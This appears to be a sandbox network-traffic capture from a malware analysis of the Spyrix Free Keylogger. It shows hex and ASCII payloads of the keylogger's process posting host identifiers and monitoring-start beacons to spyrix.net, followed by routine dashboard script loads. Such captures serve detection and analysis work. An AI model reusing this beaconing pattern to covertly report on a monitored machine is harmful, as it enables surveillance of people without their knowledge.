2024-10-02 04:11:46 UTC	613	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 70 2c 63 20 61 73 20 72 2c 61 20 61 73 20 65 2c 6f 20 61 73 20 74 2c 62 20 61 73 20 63 2c 74 20 61 73 20 75 2c 6e 20 61 73 20 6c 2c 65 20 61 73 20 66 2c 55 20 61 73 20 64 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 6b 3d 70 28 7b 5f 5f 6e 61 6d 65 3a 22 54 65 78 74 22 2c 70 72 6f 70 73 3a 7b 6f 6e 65 52 6f 77 3a 7b 74 79 70 65 3a 42 6f 6f 6c 65 61 6e 2c 64 65 66 61 75 6c 74 3a 21 31 7d 2c 62 6f 6c 64 3a 7b 74 79 70 65 3a 42 6f 6f 6c 65 61 6e 2c 64 65 66 61 75 6c 74 3a 21 31 7d 2c 74 65 78 74 3a 7b 7d 2c 73 69 7a 65 3a 7b 64 65 66 61 75 6c 74 3a 22 73 6d 22 7d 2c 63 6f 6c 6f 72 3a 7b 64 65 66 61 75 6c 74 3a 22 64 65 66 61 75 6c 74 22 7d 2c 75 70 70 65 72 63 61 73 65 Data Ascii: import{d as p,c as r,a as e,o as t,b as c,t as u,n as l,e as f,U as d}from"./index-004f4025.js";const k=p({__name:"Text",props:{oneRow:{type:Boolean,default:!1},bold:{type:Boolean,default:!1},text:{},size:{default:"sm"},color:{default:"default"},uppercase

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49753	158.69.117.119	443	4424	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:46 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 420 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:11:46 UTC	420	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 4d 6f 6e 69 74 6f 72 69 6e 67 3a 53 74 61 72 74 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 61 6c 66 6f 6e 73 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 38 34 31 36 31 38 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 30 33 34 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 31 3a 34 34 2e 30 34 33 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 Data Ascii: &action=app:Monitoring:Start&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=841618&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001034&comp_time=2024-10-02 00:11:44.043&prg_lng=english&os_caption= ()&os_type=wind
2024-10-02 04:11:46 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:11:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49754	158.69.117.119	443	7320	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:46 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 413 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:11:46 UTC	413	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 52 75 6e 3a 46 69 72 73 74 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 61 6c 66 6f 6e 73 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 38 34 31 36 31 38 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 30 33 34 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 31 3a 34 34 2e 35 31 37 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 65 3d 77 69 6e 64 6f 77 73 26 6f 73 5f Data Ascii: &action=app:Run:First&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=841618&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001034&comp_time=2024-10-02 00:11:44.517&prg_lng=english&os_caption= ()&os_type=windows&os_
2024-10-02 04:11:46 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:11:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49755	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:46 UTC	574	OUT	GET /dashboard30/assets/index-7e7c447a.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:47 UTC	302	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:47 GMT Content-Type: text/css Content-Length: 296 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-128" Cache: STALE X-Cached-Since: 2024-10-01T11:59:46+00:00 X-Node: m9-up-gc10 Accept-Ranges: bytes
2024-10-02 04:11:47 UTC	296	IN	Data Raw: 2e 4d 57 50 51 46 4d 6b 54 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 52 6a 7a 66 61 76 36 4e 2c 2e 64 38 4e 55 4e 65 49 6b 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 7d 2e 63 44 44 52 65 5a 2d 6b 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 67 61 70 3a 31 30 70 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 7d 2e 6c 51 Data Ascii: .MWPQFMkT{display:flex;flex-direction:column;align-items:center;justify-content:center}.Rjzfav6N,.d8NUNeIk{margin-bottom:10px}.cDDReZ-k{width:100%;display:flex;flex-direction:column;gap:10px;justify-content:center;align-items:center;margin-bottom:20px}.lQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49758	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:47 UTC	594	OUT	GET /dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:47 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:47 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 733 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-2dd" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T04:02:54+00:00 X-Node: m9p-up-gc69 Accept-Ranges: bytes
2024-10-02 04:11:47 UTC	733	IN	Data Raw: 69 6d 70 6f 72 74 7b 45 20 61 73 20 75 2c 73 20 61 73 20 6c 2c 61 74 20 61 73 20 69 2c 70 20 61 73 20 6d 2c 64 20 61 73 20 6f 2c 6f 20 61 73 20 72 2c 62 20 61 73 20 5f 2c 72 20 61 73 20 70 2c 6e 20 61 73 20 66 2c 75 20 61 73 20 63 2c 67 2c 65 20 61 73 20 64 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 68 7d 66 72 6f 6d 22 2e 2f 43 6f 6e 66 69 72 6d 50 68 6f 6e 65 4d 6f 64 61 6c 2e 6d 6f 64 75 6c 65 2d 33 66 33 36 39 62 33 32 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 45 7d 66 72 6f 6d 22 2e 2f 54 65 78 74 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 61 36 36 34 35 34 32 64 2e 6a 73 22 3b 66 75 6e 63 74 69 6f 6e Data Ascii: import{E as u,s as l,at as i,p as m,d as o,o as r,b as _,r as p,n as f,u as c,g,e as d}from"./index-004f4025.js";import{c as h}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as E}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49756	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:47 UTC	562	OUT	GET /dashboard30/assets/Button.module-6d4e91b8.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:47 UTC	390	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:47 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 629 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-275" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T21:40:30+00:00 X-Node: m9-up-gc57 Accept-Ranges: bytes
2024-10-02 04:11:47 UTC	629	IN	Data Raw: 63 6f 6e 73 74 20 65 3d 22 67 31 6a 44 45 4e 75 51 22 2c 6f 3d 22 6b 6e 33 2d 6a 70 61 38 22 2c 64 3d 22 70 69 31 61 53 67 71 4e 22 2c 72 3d 22 59 78 32 6d 49 6a 4e 35 22 2c 6e 3d 22 47 51 54 58 6e 50 56 68 22 2c 73 3d 22 53 70 74 36 4f 6f 39 41 22 2c 63 3d 22 52 6d 44 6c 44 74 50 31 22 2c 74 3d 22 6e 4c 49 47 57 42 32 6b 22 2c 6c 3d 22 49 65 50 78 6f 4f 71 53 22 2c 69 3d 22 41 55 6d 76 4e 54 7a 36 22 2c 61 3d 22 5f 36 76 58 51 70 6d 51 44 22 2c 6d 3d 22 71 33 56 30 32 46 68 36 22 2c 62 3d 22 53 4a 30 47 50 63 38 65 22 2c 79 3d 22 5f 35 56 65 61 78 45 64 39 22 2c 70 3d 22 63 4b 66 79 68 4a 71 2d 22 2c 68 3d 22 47 77 2d 6c 36 37 79 4d 22 2c 75 3d 22 58 6a 4a 4d 4f 6a 4b 46 22 2c 78 3d 22 57 5a 68 5a 2d 5a 4b 4c 22 2c 50 3d 22 65 49 48 36 65 73 68 57 22 2c Data Ascii: const e="g1jDENuQ",o="kn3-jpa8",d="pi1aSgqN",r="Yx2mIjN5",n="GQTXnPVh",s="Spt6Oo9A",c="RmDlDtP1",t="nLIGWB2k",l="IePxoOqS",i="AUmvNTz6",a="_6vXQpmQD",m="q3V02Fh6",b="SJ0GPc8e",y="_5VeaxEd9",p="cKfyhJq-",h="Gw-l67yM",u="XjJMOjKF",x="WZhZ-ZKL",P="eIH6eshW",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49757	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:47 UTC	570	OUT	GET /dashboard30/assets/ButtonTemplate.module-c837805f.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:47 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:47 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 129 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-81" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T06:45:09+00:00 X-Node: m9-up-gc58 Accept-Ranges: bytes
2024-10-02 04:11:47 UTC	129	IN	Data Raw: 63 6f 6e 73 74 20 74 3d 22 5f 36 70 74 63 2d 76 31 6f 22 2c 6f 3d 22 65 54 55 74 31 76 53 4d 22 2c 63 3d 7b 22 62 75 74 74 6f 6e 2d 74 65 6d 70 6c 61 74 65 22 3a 22 5f 36 70 74 63 2d 76 31 6f 22 2c 62 75 74 74 6f 6e 54 65 6d 70 6c 61 74 65 3a 74 2c 22 77 69 74 68 2d 69 63 6f 6e 22 3a 22 65 54 55 74 31 76 53 4d 22 2c 77 69 74 68 49 63 6f 6e 3a 6f 7d 3b 65 78 70 6f 72 74 7b 63 7d 3b 0a Data Ascii: const t="_6ptc-v1o",o="eTUt1vSM",c={"button-template":"_6ptc-v1o",buttonTemplate:t,"with-icon":"eTUt1vSM",withIcon:o};export{c};

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49761	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:47 UTC	566	OUT	GET /dashboard30/assets/ButtonText.module-c769b9ae.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:47 UTC	388	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:47 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 120 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-78" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T02:52:16+00:00 X-Node: m9-up-gc7 Accept-Ranges: bytes
2024-10-02 04:11:47 UTC	120	IN	Data Raw: 63 6f 6e 73 74 20 74 3d 22 76 61 4a 67 37 58 47 66 22 2c 6f 3d 22 6d 74 78 46 75 75 71 6f 22 2c 6e 3d 22 4d 74 41 55 6d 34 72 64 22 2c 78 3d 7b 22 62 75 74 74 6f 6e 2d 74 65 78 74 22 3a 22 76 61 4a 67 37 58 47 66 22 2c 62 75 74 74 6f 6e 54 65 78 74 3a 74 2c 74 65 78 74 3a 6f 2c 70 72 69 6d 61 72 79 3a 6e 7d 3b 65 78 70 6f 72 74 7b 78 20 61 73 20 63 7d 3b 0a Data Ascii: const t="vaJg7XGf",o="mtxFuuqo",n="MtAUm4rd",x={"button-text":"vaJg7XGf",buttonText:t,text:o,primary:n};export{x as c};

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49759	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:47 UTC	561	OUT	GET /dashboard30/assets/Modal.module-d62c47b8.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:47 UTC	390	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:47 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1392 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-570" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T03:20:37+00:00 X-Node: m9-up-gc234 Accept-Ranges: bytes
2024-10-02 04:11:47 UTC	1392	IN	Data Raw: 69 6d 70 6f 72 74 7b 61 75 20 61 73 20 6e 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 72 3d 28 65 2c 6f 2c 74 29 3d 3e 7b 73 77 69 74 63 68 28 6f 29 7b 63 61 73 65 22 69 6e 63 72 65 61 73 65 22 3a 72 65 74 75 72 6e 20 65 2e 73 6f 72 74 28 28 73 2c 61 29 3d 3e 73 5b 74 5d 3e 61 5b 74 5d 3f 31 3a 2d 31 29 3b 63 61 73 65 22 64 65 63 72 65 61 73 65 22 3a 72 65 74 75 72 6e 20 65 2e 73 6f 72 74 28 28 73 2c 61 29 3d 3e 73 5b 74 5d 3c 61 5b 74 5d 3f 31 3a 2d 31 29 7d 7d 2c 79 3d 6e 28 22 6d 6f 64 61 6c 22 2c 7b 73 74 61 74 65 3a 28 29 3d 3e 28 7b 6d 6f 64 61 6c 73 51 75 65 75 65 3a 5b 5d 7d 29 2c 67 65 74 74 65 72 73 3a 7b 69 73 41 63 74 69 76 65 41 6e 79 4d 6f 64 61 6c 28 65 29 7b 72 65 74 75 72 6e 21 21 65 Data Ascii: import{au as n}from"./index-004f4025.js";const r=(e,o,t)=>{switch(o){case"increase":return e.sort((s,a)=>s[t]>a[t]?1:-1);case"decrease":return e.sort((s,a)=>s[t]<a[t]?1:-1)}},y=n("modal",{state:()=>({modalsQueue:[]}),getters:{isActiveAnyModal(e){return!!e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49760	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:47 UTC	591	OUT	GET /dashboard30/assets/Button.vue_vue_type_script_setup_true_lang-56edf5a6.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:47 UTC	391	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:47 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1185 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-4a1" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T22:26:05+00:00 X-Node: m9-up-gc97 Accept-Ranges: bytes
2024-10-02 04:11:47 UTC	1185	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 70 2c 6f 20 61 73 20 6e 2c 62 20 61 73 20 69 2c 72 20 61 73 20 73 2c 66 20 61 73 20 75 2c 6e 20 61 73 20 64 2c 75 20 61 73 20 6c 2c 77 20 61 73 20 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 61 7d 66 72 6f 6d 22 2e 2f 42 75 74 74 6f 6e 2e 6d 6f 64 75 6c 65 2d 36 64 34 65 39 31 62 38 2e 6a 73 22 3b 63 6f 6e 73 74 20 66 3d 5b 22 74 79 70 65 22 2c 22 64 69 73 61 62 6c 65 64 22 2c 22 6f 6e 43 6c 69 63 6b 22 5d 2c 6d 3d 5b 22 6f 6e 43 6c 69 63 6b 22 5d 2c 6b 3d 70 28 7b 5f 5f 6e 61 6d 65 3a 22 42 75 74 74 6f 6e 22 2c 70 72 6f 70 73 3a 7b 73 69 7a 65 3a 7b 64 65 66 61 75 6c 74 3a 22 6d 64 22 7d 2c 76 61 72 69 61 6e 74 3a 7b 64 65 66 61 75 6c 74 3a 22 Data Ascii: import{d as p,o as n,b as i,r as s,f as u,n as d,u as l,w as t}from"./index-004f4025.js";import{c as a}from"./Button.module-6d4e91b8.js";const f=["type","disabled","onClick"],m=["onClick"],k=p({__name:"Button",props:{size:{default:"md"},variant:{default:"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49763	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:47 UTC	376	OUT	GET /dashboard30/assets/en-08b2a987.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:48 UTC	343	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:47 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: W/"66fa817d-69c5" Content-Encoding: gzip Cache: STALE X-Cached-Since: 2024-10-01T22:26:02+00:00 X-Node: m9-up-gc97
2024-10-02 04:11:48 UTC	3753	IN	Data Raw: 31 63 37 35 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 9d e9 6e dc 56 96 c7 bf cf 53 70 88 00 76 80 6b 61 d2 dd 98 1e b0 21 0c bc 24 8e 3b de e2 25 ee 04 03 a4 a9 2a 96 c4 36 8b ac 90 2c c9 4a 90 07 9a d7 98 27 9b df ff dc 7b 49 d6 22 c9 4b e2 76 3a fe 22 f1 ee db d9 cf b9 b7 66 4d dd f5 49 71 98 de 5c f7 cd aa ca cf 53 d7 1c a6 4f 8a bc 6b ea d4 f5 87 e9 9d a2 9b b5 e5 aa 2f 95 ce 0f d3 a7 7d de af bb d4 95 7c ce da a2 a8 bb 93 a6 4f 5d 7d 98 3e ea 4f 8a 36 75 dd 61 fa bc d3 47 4b a7 ab 55 45 8f 33 b2 ea 97 75 73 46 17 d5 61 7a ab 6d ce ac c6 fc 30 bd 5d 95 ab a3 26 6f e7 a9 5b 1f a6 2f 8a a3 59 be 4c dd ca c6 69 e9 f7 fc 30 fd fc 55 c9 c7 f2 30 fd a6 9c 17 4d 5b cc 52 77 42 79 b3 ae e7 96 38 f6 e3 94 b3 dc 4f 72 71 98 3e 2b fb aa 48 dd a9 fa 6f 3a be ce 0e Data Ascii: 1c75nVSpvka!$;%*6,J'{I"Kv:"fMIq\SOk/}\|O]}>O6uaGKUE3usFazm0]&o[/YLi0U0M[RwBy8Orq>+Ho:
2024-10-02 04:11:48 UTC	3540	IN	Data Raw: 41 44 1f e1 3d 79 ad 46 3e 10 69 3e 88 0b bd 82 12 c2 c6 36 f5 18 b7 f2 66 8d a4 f0 12 a9 89 98 a7 d0 98 ae 0b 01 86 7b 32 11 68 2c d0 3b 43 2c a9 cd ad bd e5 16 bf b4 78 6c fd 90 b5 8c e0 c1 26 c4 76 5b 05 66 be 5f 15 84 a0 87 30 07 f9 5b 8c 24 9b e9 48 4c 1a 0f c4 65 15 8c 2a a1 2b b2 93 d8 5e 16 72 d9 c8 d3 0e 6a fb 1e 7c 5c 47 d8 c2 68 73 7a 66 ea e5 1b 34 c1 b0 1d 6d 78 59 29 35 db 9b c4 46 25 4e 76 50 26 bb 3f 7f 4f fd 05 34 c7 02 03 77 5a 84 12 cc 3c 04 b9 d4 85 b3 a0 e6 0c 47 c3 a0 88 5e 85 37 c1 33 f1 0e 98 77 51 0f 90 1d f3 49 d0 b5 87 26 ed 73 0c f1 bb b0 c8 0e 39 c8 78 db 5e 18 7f c0 17 15 0a ad 7c b0 fc b0 d3 1e a3 76 32 6d 8c 51 39 84 1e 07 3a e4 07 d8 5b a2 18 82 89 ce 69 aa 0f 50 0f fc d0 e8 c2 22 1f 9d 20 78 f3 e2 85 22 13 62 ca f9 b0 f3 Data Ascii: AD=yF>i>6f{2h,;C,xl&v[f_0[$HLe*+^rj\|\Ghszf4mxY)5F%NvP&?O4wZ<G^73wQI&s9x^\|v2mQ9:[iP" x"b
2024-10-02 04:11:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49769	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
